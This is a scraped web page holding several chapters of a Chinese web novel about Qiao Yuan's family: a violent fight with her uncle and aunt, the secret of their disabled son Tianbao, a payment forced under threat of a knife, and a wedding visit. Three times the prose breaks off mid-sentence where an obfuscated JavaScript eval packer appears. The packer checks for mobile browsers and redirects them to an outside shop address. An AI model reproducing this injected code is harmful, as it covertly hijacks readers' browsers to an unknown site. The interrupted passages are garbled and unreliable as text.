乔元的神色很冷静，但行为却异常癫狂，她的棍子落在吴玉梅身上的时候次次都下了死力气，打的吴玉梅像是一条只会在地上翻滚的蚯蚓。 一下一下又一下，吴玉梅痛得连嚎叫的力气都没了。 突然间，棍子被人捉住，连带着她整个人都被反手控制了起来。乔元回头，是适才去了外间的乔满仓。 乔满仓看着被血糊了脸的侄女，神色复杂。他们今日来不过是为了求财，谁知道竟闹成这样。 见乔元被控制住，吴玉梅喘着粗气，这才扶着床沿从地上慢慢起身，“乔满仓，你听到声儿不会早些进来，害我被这贱种白白打了这么多下。” 在地上滚了这几圈，吴玉梅身上的那件破烂衣裳沾的满是尘土，她吐了吐嘴里的碎血沫子，面色阴沉着朝着乔元走来。 乔元知道，如果她还不想办法挣脱出来，她肯定会被吴玉梅打死。 双手被乔满仓抓着动弹不得，好在腿还能用。可乔满仓在她背后，她抬腿的瞬间就会被他识破，她需要等一个机会。 吴玉梅揉着方才被乔元砸了好几下的腰，见乔元的双手被乔满仓抓着抡在背后，她道：“贱种，我倒要让你看看什么是生不如死。” 说罢，她便扬起手。 就在这时，被乔满仓抓着手的乔元，往后跨一大步半蹲下，吴玉梅没打到人，反倒将力气倾倒在了乔满仓身上。 乔满仓下意识抬手作为防御，却将乔元松了出来。 乔元往后闪身，一脚踢在了乔满仓胯间。这一脚用了十足的力气，乔满仓当即跪倒在地，捂紧双腿之间痛不欲生。 吴玉梅愣了神，没想到这贱种竟如此灵巧，一时间踌躇不敢上前。 乔元抿唇思考，她知道，这是她最后的机会，如果这次不能将两人一齐打倒在地，她不知道还能不能撑到爹和大哥回来。 半蹲在地上的周素显然也很清楚现在的局面，但她被吴玉梅打到了脊梁骨，半晌都直不起身来，更无法上前帮助乔元。 随着几人刚才的缠斗，有一部分衣服被踢到了周素边上，乔元瞟了一眼，心里有了主意。她对着周素使了个颜色，示意她将衣服捡起。 她面前的吴玉梅见乔元久久没有动作，还瞟了瞟眼睛，不由又放下了戒心，不过是个黄毛丫头罢了。 吴玉梅不管躺在地上的乔满仓，跨步上前，抬起双手就想死死掐着乔元的喉咙。乔元哪会那么容易让她得逞，她踮脚侧身避过吴玉梅的攻击。 就在此时，周素在乔元背后喊道：“元姐儿，躲开！” 乔元瞬间低头弯腰，只见一件旧衣被周素扔出，准确无误地盖到了吴玉梅的头上。 吴玉梅只觉眼前一黑，还没弄清楚发生了什么，乔元的棍子就铺天盖地落了下来。 乔元也不知自己是哪里来的力气，棍子被她甩出了风声，专往吴玉梅的痛处砸，用力之猛，砸的吴玉梅到后来都缩在墙角不敢动弹。 乔满山和乔长平疯跑回家，见到的就是这样的场面。 乔元支着棍子立在里间，她脸颊上的血已经凝固，血色下的黑色瞳仁在见到他们来后，才有了些许温度，她的手腕上青紫一片，连衣服上也都是血迹，看上去很是可怖。 乔满山将乔元第一时间托付给乔长平，随后去拉起靠里些的周素，他眉头紧皱急道：“可还好？” 周素摇了摇头，哑声道：“先别管我，看看元姐儿。” 乔元此时全身的力气已经透支，她现下连挪动一步都难，方才一直站在，就是为了威慑躲在墙角的吴玉梅。 几人七手八脚地将她扶到一旁的床榻上，乔元这才慢慢缓了过来。 吴玉梅脸上的衣服已经被她自己拿了下来，此时她的脸上青一块紫一块，被乔元打的四处冒血。 一见到乔满山，吴玉梅便惊声尖叫道：“乔满山，你看看你养的好女儿，将她大伯和大伯娘打成这个样子，你还不家法处置。” 乔元倒是没想到吴玉梅被打成了这个样子，还能颠倒黑白。 她刚想起身再给她打一棍子，就见她爹双手紧握成拳，一巴掌扇在了吴玉梅脸上。 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吴玉梅见乔长平生的同乔满山一样高大，便没想着再硬冲上去，她将自己额前凌乱的发丝拨开，道：“乔满山，我们今日来，是要拿走天宝的药费。” 听到这个名字，坐在乔元身边的周素明显瑟缩了一下，乔元以为她是身上哪出又痛了，忙扯了点被子盖在她身上。 乔满山的满身怒火，在听到‘天宝’这个名字之后，像是往炭盆上倒了一壶冰水，顷刻间也降了下来。 乔元敏锐地察觉到不对劲，她努力在记忆里搜索。可原主对于‘天宝’这个名字的知之甚少，这个名字更像是乔家的一种禁忌，原主只隐约记得在小时候听过，后来她爷奶过身，乔满山同乔满仓分家后，便再也没听人提起过了。 她刚想开口问‘天宝’是谁，便听得乔满山苦涩道：“要多少？” 吴玉梅就知道这样能拿捏他们一家，她不顾嘴上的伤，咧嘴笑道：“五块银锭。” “你他娘的莫不是穷疯了？！”乔元的脏话脱口而出。 对他们这样的人家要五块银锭，这不是逼着他们一家人去死！ 吴玉梅啐了她一口，神色很是得意，“贱种，你和你娘一样下贱，我在同你爹说话，你插什么嘴。” 乔元开口道：“爹！” “元姐儿，别说了。”乔满山痛苦的闭上眼，似是在回忆什么痛苦的过往。 “我知道你们家元姐儿现下在整个石湾村炙手可热，听得她还弄了个什么黄板卖了不少钱，连我们在县城里都听说了，这点钱你们不会拿不出来罢。”吴玉梅说道。 听完这番话，周素眼泪涟涟，“山哥，不行啊，这是元姐儿好不容易赚来的钱，不能给他们。” 吴玉梅就猜到周素会这么说，一开始来乔家，她也是好声好气，不料周素听闻他们是来要钱的，硬是不肯，这才有了后头的许多事。 她眉头一皱，冲着周素骂道：“你也配和我提不肯！若不是你！我的天宝还是个健全的孩子，都是你这个丧门星！害的我天宝变成这样！” 20. 变故（三） “够了！”乔满山怒喝一声，随之而至的是杯盏碎裂的声音。 就是当年分家，吴玉梅也没见乔满山发过这么大的火，一时间被他震慑到，她只能悻悻住嘴。 “三块银锭，我凑齐了自会送过来，多了没有，你们若是还想再闹，我便请里正来说说理。”乔满山的语气不容拒绝。 三块就三块罢，也够他们家花上许久了。 今日被周素那起子母女阻拦，她还以为今日这钱是要不到了。吴玉梅眉毛一挑，面上松快了些，甚至觉着被打的伤口都没那么疼了。 钱是拿到了，可她今日被那贱人母女一通乱打的仇还没报，吴玉梅张嘴还想骂上几句，袖口却被乔满仓一扯。 乔满仓本就显老的脸皱成一团，吴玉梅这一闹很是让他没脸，他道：“行了，先回去罢。” “那死丫头将我打成这样，你是想让我忍了这口气？”吴玉梅甩开他的手。 乔满山将乔元方才拿在手里沾了血的棍子捡起，他在吴玉梅面前站定道：“钱我会给，但若你还想辱骂我妻女，休怪我不客气。” 乔满山的话听着不像是开玩笑，他身形高大，说起话来颇有些不怒自威。如今寡不敌众，吴玉梅眼珠子瞟了一通，终究是不敢再闹，拉着乔满仓一瘸一拐地匆匆走了。 除了劝解了一句吴玉梅，从始至终乔满仓都没站出来说过一句话。有这样的哥哥，乔满山心头很是怅惘。 不再多想，乔满山将棍子摆在一旁放好，走到周素身旁。 床榻上的周素神色哀戚，整个人像受了巨大的打击。泪水顺着她的眼睫滴到乔元手上，她不住地喃喃道：“元姐儿，是阿娘对不住你啊……” 今日的事情发生的莫名其妙，令乔元如坠云雾，一时间不知该从哪个方向抽丝剥茧才好。 乔长平语气很冲，“爹，他们打了娘和妹妹，怎么能这么轻松地就让他们走了！” 乔满山闭目，过半晌才道：“你阿娘和妹妹都受了伤，你先去请郎中回来。还有，我把永言托在了王婶家，他岁数小在王婶家怕是不习惯，你回来的时候顺道也把他接回来。” “爹！” “快去！”乔满山加重了语气。 乔长平违抗不了父命，只得愤愤出门。临走时，他用力往墙上打了一拳，乔家的房子本就破败，被他一打，簌簌掉下些许棚灰。 棚灰落在地上，也像是在众人心头蒙上了一层抹不开的灰。 里屋寂静了好一会儿，乔元才张嘴道：“爹，这到底是怎么回事。” 周素和乔满山的精神状态明显不太好，他们肯定瞒了她什么很重要的事。 乔满山疲惫开口，“元姐儿，你大哥已经去请郎中了，你且在外头好好休息一会儿，先让我同你娘说几句话。” 乔元看出了爹娘身上的沉闷，她从床榻上下来，依言往外走去。 她身上除了后脑勺被磕破了个口子，别的地方倒没受什么伤。 手脚有些脱力，乔满山扶了乔元一把，她这才安稳地走到堂屋坐下。 日头已经高高挂起，各家的炊烟顺着灶孔里的烟囱向外飘去，到了午飧的时间了。 乔元看着屋檐上的蓝天白云，额头上的血痕已经干涸，粘在她脸上，有些发痒。乔满山进去不久后，里屋便传来周素嚎啕的哭声，门口的野草在风里摇曳，透过院门和她两两相望。 莫名的，乔元心头有些不是滋味。 —— 乔长平回来的很快，石湾村附近就住着一个游医，专门给乡下的人看病问诊。 郎中替母女俩都看过，乔元后脑勺上的伤看着凶险，其实只是破了个口子，止住血休息几天，等伤口结痂就就没事了。 倒是周素，吴玉梅下了死手，她背上肿的老高，满是青紫的血痕，郎中特意嘱咐这几天能躺就躺着，好好将养免得以后落下病根。 被接回家的乔永言见家里被砸成这样，娘和姐姐也受了伤，自是跟着大哭。乔满山父子俩忙着收拾家里，家里勉强能动就她一个，乔元费了好些力气，才堪堪将他哄好。 家里突逢变故，能用的人手本就不多，熬药的活儿自然就轮到了乔长平头上。 午飧简单吃了点东西，乔满山先行下地去了。趁着周素还在睡着，四下无人，乔元偷偷从床上起来，摸到了厨房。 “哥。”乔元轻喊了声。 乔长平坐在灶台前，正熬煮着她和周素的药。火光映照着他的眉宇，满是愁容。 见乔元不遵医嘱，反倒出来乱跑，乔长平皱眉道：“元姐儿，你不好好休息起来作甚。” “哥，我有些睡不着，想来找你聊聊天。”乔元不顾乔长平反对，搬了张矮脚凳坐在他身边，单刀直入问道：“哥，天宝究竟是谁？” 乔长平何尝不知道乔元心里的疑惑，只是今日见爹不欲多言，他也只好闭紧了嘴巴。如今乔元既开口问询，他只好垂头答道：“天宝，便是大伯和大伯娘的儿子，名唤乔天宝。” 倒和乔元所料不差。 “那大伯娘说的药费又同我们家有什么关系，为何她儿子的药费，偏要我们家来付？”这点让乔元很是不解。 也罢，这件事既闹成这个样子，乔元早晚都会知道全貌，与其届时分不清利害，还不如摊开说清楚的好。乔长平叹了口气，默然盯着灶孔里的火焰，开始讲述天宝的故事。 乔家人丁不旺，在乔家爷奶这辈，总共就得了两个儿子，一个叫满仓，一个叫满山。 乔满仓虽岁数大些，为人却很是软弱没有主见，为了能让他立住门楣，两老一做主，便给他娶了个四里八乡有名的爽利姑娘，吴玉梅。 期初，乔满仓夫妻俩很是恩爱，但不知为何，却迟迟未有子嗣。连比乔满仓成婚晚的乔满山都先得了个儿子，他们俩愣是没有动静。 几年时间，夫妻俩求神拜佛找偏方，什么法子都试过了，都未能如愿。直到婚后第三年，吴玉梅终于怀孕，在九个月后，得了个儿子，起名天宝。 那时乔家爷奶还在世，两兄弟并未分家，家里农忙，周素身子又不好，便负责在家照顾腿脚不便的婆母和孩子们，其余的人则都下地劳作。 时隔多年，事发那日的情形乔长平依旧记得很清楚。 他喉头微动，咽下嘴中苦涩，才接着道。 那时他不过五岁，天宝三岁。 家里总共就得了他们两个孩子，天宝不爱出去玩，就喜欢天天跟在他后头跑。但天宝走路不稳，动不动就摔跤，乔长平心里对他自是诸般嫌弃。 那日天宝摔在地上磕破了手掌，被祖母看见了，以为是他在欺负天宝，一时气极便拿起烧火棍将他提到屋里狠狠打了一顿。 周素心疼自家儿子，却又不敢劝到婆母头上，只能默默守在在一旁流泪。 乔长平那时还小，只觉得委屈，被打完便把自己关在屋里不肯出来。 见乔长平如此桀骜不驯，乔家婆母便把气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483107|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒到了周素身上。 她本就看不惯周素瘦弱的样子，觉得她闲在家里就是为了躲懒，即便那时周素身怀有孕，她还是将全家人的衣物都丢到她面前，告诉周素洗不完这些东西就不准吃饭。 院子里没了乔长平，乔天宝觉得没趣，便跟在了周素后头。 因着乔天宝，乔长平才被罚的这么惨，周素没法对着个孩子撒气，只好端起盆子坐在一旁，不去理会他。 谁知周素就背对着乔天宝坐了这么一会儿，只听得“噗通——”一声，待周素回头，院子里已经没了乔天宝的影子。 周素吓坏了，她听到井里有动静，忙趴去井口看，只见乔天宝正在水里上下沉浮。 她慌的不行，忙大声喊人来帮忙，可那个时辰农人都在地里，喊了好一会儿才来了几个汉子，等乔天宝被救上来时，双眼瞳孔放大，眼看着就要死了。 好在那时有游医经过，施针吊着乔天宝的命，这才将他救了回来。 自那之后，乔天宝连发了七天高烧，等烧退后，乔家人发现，乔天宝竟开始变得越来越痴傻。 乔满仓和吴玉梅千辛万苦才得了这么个儿子，谁知一次落水，竟变成了痴儿，他们自是不依，这股怒火，便被疯狂发泄到了周素身上。 怪不得自原主记事起，她娘就时常三病两痛，整个人消瘦异常。 想来缘故是出在这里了。 “那后来呢？”乔元追问道。 “后来爷奶过世，大伯主张分家，爹娘自觉亏欠他们一家，便只拿了这间老屋，别的银钱和地，全给了大伯一家。” 乔元听完这所有的故事，终于明白为什么周素在听到这个名字后会瑟缩，想来她是把天宝变成痴儿的原因，全归结到了自己身上。 乔元轻叹一声，人生无常世事难料，谁能想到一次落水就会使乔天宝痴傻。 “那天宝现在如何？”乔元道。 “自分家之后，我便再也没见过他了。”乔长平语气带着一丝不易察觉的怀念，如果那日他不将自己锁在屋里，而是在外头陪着天宝玩耍，可能就不会有今天这般恶果了。 乔元没见过天宝的样子，她接着问到：“那你还记得他的长相吗？” 乔长平略顿了顿，摇了摇头，“我已经记不太清了，只记得，天宝的两只眼睛离的较常人宽些，村里的人常笑他长了一双蛙眼。” 提起幼年时的趣事，乔长平苦闷的脸上略带了点笑意。 而坐在他身旁的乔元听到这话，惊地从凳子上站起，她一把将乔长平板正，迫使他看向自己。“哥，你确认没有记错？！” 乔长平没想到乔元会如此激动，他确定道：“不会错的，我同他一起长大，虽不知道他现在长成什么模样，但这点子事情我还不会记错。” 缓了口气定定心神，乔元又问到：“那他脚上是不是有两个脚趾特别分开？” 关于天宝的事，自分家后再没人提起过。乔长平一时没收住情绪，面露惊色，“你怎知道？” 听到肯定的回答，乔元重新坐回凳子上，颇有种尘埃落定之感。 双眼距离较远，第一及第二脚趾的距离特宽。 或许，这件事根本就不是周素的问题。吴玉梅当年生下的乔天宝，从一开始，就是个智力有些障碍的唐氏儿。 只不过这件事情，在确定之前，她还不能告诉任何人，免得大家空欢喜一场。更重要的是，她不能让周素燃起希望，又生生破灭。 21. 变故（四） 好事不出门，坏事传千里。 乔满山家被打砸的事儿，不出半天就传遍了整个石湾村。到了傍晚，连外出去送黄板的里正都知道了。 彼时乔元还在院子里帮着收些零碎的东西，就听得围墙外有脚步声。牛车停在路口，里正拄着拐杖就上门了。 “元姐儿，可有伤到哪儿？”人未至声先到。 里正跨进院门，一眼就瞧见了乔元头上包的白色纱布，怒气将他本就皱巴的眉眼挤成一团。 “满仓这孩子，小时候我见他还很是规矩，怎的分家之后竟成了这个样子！”木制拐杖的柱头在地上连敲数下，激起一阵浮尘。 乔元看向里正，日光下他的嘴唇有些起壳，怕是一听说她家出事就赶来了。 忙进屋给里正端了水和凳子出来，乔元道：“里正不必担心，只是些皮外伤，算不得什么大事。”趁着说话的间隙，她扶着里正坐在凳子上，让他喝点水稍歇歇。 “怎能不算大事，后脑之区，乃督脉所经，若再差个半分，你这条命要是不要？”里正浅饮一口，便将碗放下了，话里话外都是担心。 经过这段时日的相处，他早就知晓元姐儿是个识礼数懂进退的好丫头，做事更是有分寸，很多事上瞧着比伯石还强上几分，他是打心眼儿里喜欢这丫头。今日听闻她家被打砸，他怎能不急！ 乔元心头涌上一阵暖意，她故作轻松道：“里正也知晓我非那等任人宰割之人，你是没看到我大伯他们走的时候，身上不知比我精彩了多少。” 里正面色稍霁，又道：“你不必哄我，各中凶险你比我更清楚。” 见乔元不语，他顿了顿，像是个想哄孙女高兴的老人，又补了一句道：“元姐儿，若你大伯还敢来，你便差人来喊我，我倒要看他敢不敢再在我们石湾村撒野。” 知道里正是有心为自己撑腰，乔元笑地眼睫弯弯，“多谢里正。” 见乔元并未因此事受到多大影响，里正宽了心，道：“你既受了伤，这几日便别跟着我们忙活了，你教出来的这些人做事很是老到，今日我去别的村子送黄板，无人不夸的。” 家里被砸了本就有许多要收拾的地方，乔元没有推辞，答应道：“那我便依言休息几日，只怕得辛苦里正了。” 里正摆摆手，“这是哪里的话，若没有你，我们石湾村哪能有今日这么好的局面。” “对了，这些钱你先拿去。”里正从怀里掏出一小捆铜钱，塞到乔元手里。 “这是？”乔元问道。 “一点心意，你家的情况我最清楚不过，如今被砸坏的东西也不能用了，这点钱先拿着应急罢。” 铜钱用红色的绳子串成一串，一个个按列排好，看得出主人打理地很是仔细。 里正说清楚她家的情况，她又何尝不清楚他的情况。 看着面前干瘦的、从未被岁月善待过的老人，乔元借口进屋端凳子，轻擦了有些酸涩的眼角。 端出凳子坐回里正身旁，乔元扬起笑容，顺着他的话又挑了些别的话题，两人一直聊到日落西山，直到乔伯石上门来接人，里正这才意犹未尽地回去了。 —— 到了晚间，周素的精神瞧着比白日好了一些。 她背上伤的重，乔元便陪着她在屋里用饭。 家里的活儿都被乔满山父子三人包圆了，乔元无事可做，便领了陪人的活儿，脱了外衣躺在周素身边。 周素平趴着，轻轻摸着乔元的头，乔元张嘴同她说着里正给钱的事儿，二人有一搭没一搭地聊着天，默契地都没有提白日里发生的事情。 药香中和着属于母亲的味道，扯着周素衣摆一角，明明该是作陪的乔元却迷迷糊糊睡着了。 等乔满山收拾完推门进来，乔元已然熟睡。 “元姐儿这是睡着了？”乔满山低声道。 “睡了。”周素轻道。 她抬摸上手乔元额上的纱布，“今儿为了护我，她同吴玉梅打地狠了，这孩子能忍，硬是一句痛都不喊。”说到后半句，周素眼角沁出两滴泪。 昏暗的灯火里，乔满山垂眸，紧咬牙关，“都怪我没用，连你同孩子都护不好。” “不，都怪我，若我那日能看护好天宝……”周素眼中满是恸悔。 乔满山坐到床沿，大掌抚去周素眼角的泪珠，“明儿我就去给他们送银锭，我同你保证，这次之后，他们再也不敢上门来闹事。” 三块银锭，二人从年少时一直攒到现在才得了一块多点，算上元姐儿得的，再加上同好友家借的。 将这大笔钱拱手送给他人，周素将头埋在被子里，任由被褥吸干她的眼泪。 ……好好的家，都被她给毁了。 第二日天光将晓，乔满山就背着包袱出门了。 当年分家，乔满山心怀愧意，便只要了这件破屋，别的全留给了乔满仓。 乔家三代贫农，留下的积蓄不多，唯一值钱点的就是家里传下来的前朝旧物。乔满仓听了吴玉梅的话，将那旧物变卖，连同这些年乔满山爹娘攒的钱，在金台县周边买了间屋子，彻底离开了石湾村。 乔满山脚程颇快，赶到乔满仓家的时候，日光刚盛。 将门扣出声响，乔满山便站在门口等着。 “谁呀？”门内传来一个有些别扭的声音。紧接着粗重地脚步踏向地面，门开了。 门内的人显得有些呆愣，直勾勾地看着乔满山。 乔满山正想开口，就听得门后吴玉梅急切的声音，“天宝，你怎的将门打开了，快过来。” 乔天宝有些分不清现在的状况，但听得阿娘叫他过来，他放下把着门的手，听话地走了过去。 吴玉梅随手摸了一把豆子塞在他手里，“天宝乖，你将这豆子都放进篓里，阿娘一会儿就回来。” 见天宝点头开始往竹篓里放豆子，吴玉梅这才走到门前，瞥了眼站在门口的乔满山，“进来罢。” 乔满仓家不大，甚至比石湾村的乔家院子还要小上一半，但内里却收拾的很是规整，院内散落着一些木制的玩具，墙角还摆着几盆含苞待放的杜鹃。 乔满山进入院里回身关好门，“我来送银锭。” 吴玉梅眼睛一亮，语气轻快了不少，“快给我！” 从包袱里掏出包好的三块银锭，乔满山递到吴玉梅面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519931|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 吴玉梅接过银锭，双手因为银锭的重量往下沉了沉，她掀开布片面上一片喜色，“果然是三块银锭，正正好。” 没等吴玉梅将银锭重新盖好，一把铁质带弯钩匕首抵在了吴玉梅颈间。 乔满山朝天宝所在的方向看了一眼，见背过身的乔天宝并未察觉到这头的异样，他压低声音道：“今日拿了这钱，我们两家再无瓜葛，你别再想拿到一分一毫！若下次还敢出现在石湾村，我同你家不死不休。” 吴玉梅整个人因为惊惧有些抖动，手上的银锭一时没拿稳，四散在地。 屋里刚起身的乔满仓听到外头的响动，也走了出来。看清院内的一幕，他脸色瞬间煞白，连连道：“满山，你别冲动。” 乔满山常年劳作，身形高大皮肤黝黑，此番又是带着鱼死网破的心上门，周身气势看上去很是骇人。 吴玉梅抖着唇道：“满山，我答应你，答应你还不成吗！” 乔满山可没这么容易信她的话，他空着的手拿出早就准备好的纸条，是他昨日花了二十文找人写的，“你在上头按上手印，我便信你。” 冰凉的刀刃贴紧皮肤，吴玉梅耳中清楚地听到自己的喘息声，她眼前有些目眩，只想让这刀身快些离开自己的脖颈处。 她顾不上别的，照着乔满山指的，在纸上两处按下自己的手印。 乔满山核对无误，这才将匕首从吴玉梅颈间拿下来。 匕首一拿走，吴玉梅整个人一晃，瘫倒在地，乔天宝似有所感，回头看了一眼。 “阿娘。” 吴玉梅白着脸扯出笑容，“阿娘没事，就是有点晕了。” 乔天宝豆大的眼睛眨了眨，起身摇摇晃晃往她着方向走，他手中的豆子散落一地，‘噼里啪啦’地在地上跳动。 看着朝他们所在方向走过来的乔天宝，乔满山眸色很是复杂。但事情既已经了结，他毅然回头不再多呆，抬步重新往家的方向走去。 乔天宝走到吴玉梅身旁，想伸手拉她，却不料自己因为失去平衡摔到了地上，站在一侧的乔满仓赶紧上前将他扶起。 吴玉梅看着眼前明明壮硕，却呆如三岁小孩的儿子，想到今日受此等胁迫，她气地生生将嘴唇咬破了血，阴狠道：“乔满山，我是不会放过你们一家的。” 乔满仓见她如此，犹豫着道：“我们都拿了他家三块银锭了，不如就此罢手罢。” 吴玉梅见他这一副窝囊样就气恼，“三块银锭，够我们生活多久，我们若不多攒些钱，天宝以后要怎么办！我真是瞎了眼了，嫁与你这种人！” 乔满仓看着扶着手边还在痴笑的儿子，一时默然无语。 吴玉梅坐在地上恨恨道：“老天真是不公平，凭什么要让我家天宝受这等辛苦，却让周素那起子贱人活的幸福美满。只要有我吴玉梅在一日，我定要闹得她家不得安宁。” 等乔满山到家时，乔家小院里已经升起了炊烟，二女儿和小儿子正在院子里玩耍，嬉笑声传满整个院落。 他的眉心松了松，这便是他拼死都要守护的家。压下心底的各色情绪，乔满山笑着喊道：“元姐儿，言哥儿，爹回来了。” 22. 吃席（一） 接连两日，乔元和周素都在家休息。 家里的事情被乔满山安排得井井有条，偶尔会有村里人上门问些黄板的细节，乔元便端了凳子出来，同来人坐在院子里耐心作答。一来二去的，竟也不觉日子太长。 过了春分，白日渐长，待乔满山父子劳作完归家的时候，天还亮着。 躺了两日，周素只觉得骨头都要酥了，今日觉着身子好了不少，她便起来下地走走。 “你怎的起来了？”在厨房忙着生火的乔满山，见周素过来了，抬手将火钳放远些。 “这两日躺的腰酸背胀，起来走走缓和缓和。”厨房狭小，周素只能站在门口看着他。 乔满山将身旁的凳子端到周素面前，按着她坐下，自己站到灶台前看着火。“你坐这儿等等，马上就能用饭了。” 今日的晚饭依旧是老三样，青菜，酱菜，还有一盆去年陈豆做的汤水。 在院子里疯跑完的乔永言进屋看到饭食，叹了口气，连桌都不愿意上了。 他走到周素身边抱着她的胳膊，“阿娘你快些好起来罢。” 周素打趣道：“怎的，想阿娘陪你玩了？” “不是不是。”乔永言摇头，“我已经几日都未吃到阿娘做的面饼了。” 周素点了点他的鼻头，“馋嘴，面饼你爹也会做，怎的就要阿娘了？” 乔永言放开周素的手，扒在桌边看了一眼乔满山，吐了吐舌头道：“爹做的太难吃了，我都快吃不下去了。” “这么些天，日日都吃这些饭食，我可实在吃不下去了。” 听得乔永言的话，家里几人笑地开怀，乔长平边笑边道：“爹，言哥儿笑你做饭难吃呢。” 这也不怪乔永言，小孩子比不得大人，正是嘴馋的年纪。这几日周素病着，饭是乔长平同乔满山轮着做的，说不得谁做的更难吃些。 乔满山板起脸，吓唬他道：“家里就这些吃的，你若不吃，爹可就要教训你了。” “我不吃，我不吃。”说罢，乔永言作势往外跑。 乔满山就坐在门边，大步一跨，就将他捞了回来。 乔永言的双手在乔满山臂上乱拍，“爹爹快放我下来，放我下来。” 周素面上的笑意更大了些，“行了，快放他下来罢，明日是你秀表姐的婚宴，我们去她家席面上吃些好的。” 乔永言长到现在，还没吃过席面，听得这话，他高举双手高兴地在乔满山怀里扭来扭曲。 乔满山护着他的头不墙角砸到，眼神里多了些无奈，“小崽子，你且小心些。” 倒是乔元看向周素，低声问道：“阿娘的身子可能出得远门？” 周素哪里不懂女儿的心思，握着她的手道，“元姐儿放心罢，你爹都已经安排好了。” 见大人们已经决定了，乔元便不再劝阻，只静静等着明日到来。 她没见过景朝的婚宴，心头也存着一丝好奇。 第二日寅时，星子还挂满天穹，一家人便坐上同王婶家借的牛车出发了。 石湾村的蚜害是最早开始除的，经过几轮的黄板更替，农耕大半都已经恢复了正常，牛车也自然就空闲了下来。 去李家村的路上得经过一段小径，怕周素受到颠簸，乔满山在出发前特意在靠后的位置上铺了不少干草，方便她坐着休息。 乔永言则靠在周素身边，睡得正香。 昨晚上知晓今日要去吃席面，乔永言闹到半夜才肯睡去，今早晨乔长平进屋叫了几回，他都没睁开眼。还是乔元提了个意见，让乔长平给他换上衣服，直接背上牛车。 小径背靠山林，山风带着些许凉意吹拂而下，乔元不禁裹紧了身上的外衣，往手心哈了口气。 穿过小径就是官道，乔满山的车驾得很快，终是赶在日出前到了李家村。 照着村人指的路驶去，果然远远就瞧见了一户人家，院内外都挂满红绸，看上去很是喜庆。 将牛车停在路旁，乔满山仔细将牛车上的绳结绑好，这才领着一家人走了进去。 不过晨光微曦，院内已是人来人往很是热闹，见有客人来到，邻里帮忙的人快步进屋去叫了主家来。 被喊出来的妇人，外披墨绿色的直领长褙子，一见到周素，她脸上的喜色掩盖不住，张开双手朝着周素走来，“三妹妹，你可算是来了。” 周素笑的真切，紧紧拉着她的手，二人仿佛回到了年少时，“二姐姐，恭喜了。” 周兰脸上很是动容，她们姐妹俩没嫁在一个地方，隔上几年才得见一次面，今日难得相见怎能不喜。 周素眼里也闪过一丝泪花，不过顾忌着场合，她捏了捏着周兰的手道：“二姐姐，今日是秀姐儿的好日子，仔细哭红了眼，被人家笑你不舍得放女儿走呢。” 周兰拿帕子擦了擦眼泪道：“正是，正是。” 说罢，她瞧着周素后头站的几人，大方道：“叫妹夫一家见笑了，大家都快些进来罢。” 一说要进门，在牛车上睡饱了的乔永言一马当先，蹦跳着先走了进去，还不忘回头道：“哥哥姐姐你们快些，这屋里挂满了红绸子可好看了。” 听着童言童语，后头几人的脸上也浮现出一丝笑意，跟着走了进去。 周兰家比乔家大上不少，堂屋里挤满了人，周兰的夫婿李展此刻正在屋里陪着宾客们说话。见乔满山一家来了，笑着就将他们迎了过去，乔满山父子几人便顺势在堂屋坐下。 外头大都是男宾，乔元呆在那儿多有不便，周兰领着她往女眷所在的西屋走去。 在西屋坐着用了一盏茶，乔元实在是觉得有些气闷。 周素陪着周兰去清点李碧秀出嫁要用的东西了，屋里都是些她不认识的婶娘，就方才这一会儿功夫，已经有好几位明里暗里问她是否许了人家了。 婶娘们缠人的功夫让乔元有些吃不消，她假意找了个借口走出西屋，便抬便想脚往院外走去。 迎面撞见忙的脚不沾地的周兰，见乔元出来，她忙喊道：“元姐儿，快过来，姨母有事托你呢。” 乔元依言走到她身边，周兰揽着乔元的肩膀道：“迎亲的人还没来，你秀姐姐正一个人闷在屋里，你既得空，不如进去陪她说说话。” 这倒是比在西屋陪着那些婶娘要好些，乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534424|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元点头答应。 周兰在前头带路，引着乔元到李碧秀房门外，她轻叩了叩门，“秀姐儿，我带元姐儿过来了。” 屋里一时没人应声，周兰面上生疑，她又扣了叩门道：“秀姐儿？” 这回屋里有人应答了，柔弱女声传来，她道：“阿娘，快请妹妹进来罢。” 周兰这才推开门，带着乔元走了进去。 乔元跟在周兰后头，抬眸看去。屋里的陈设很是用心，大红喜字贴满墙面，床单被罩一应都是正红色，床上坐着个清丽的美人，身着红色大袖喜服，上头秀了鸳鸯同缠枝牡丹，见她进屋，李碧秀冲着她柔声说道：“这便是元妹妹了罢，快坐到姐姐身边来。” 乔元走近对她行了一礼，“秀姐姐今日大喜了，恭祝姐姐同姐夫白头永偕，恩爱一生。” 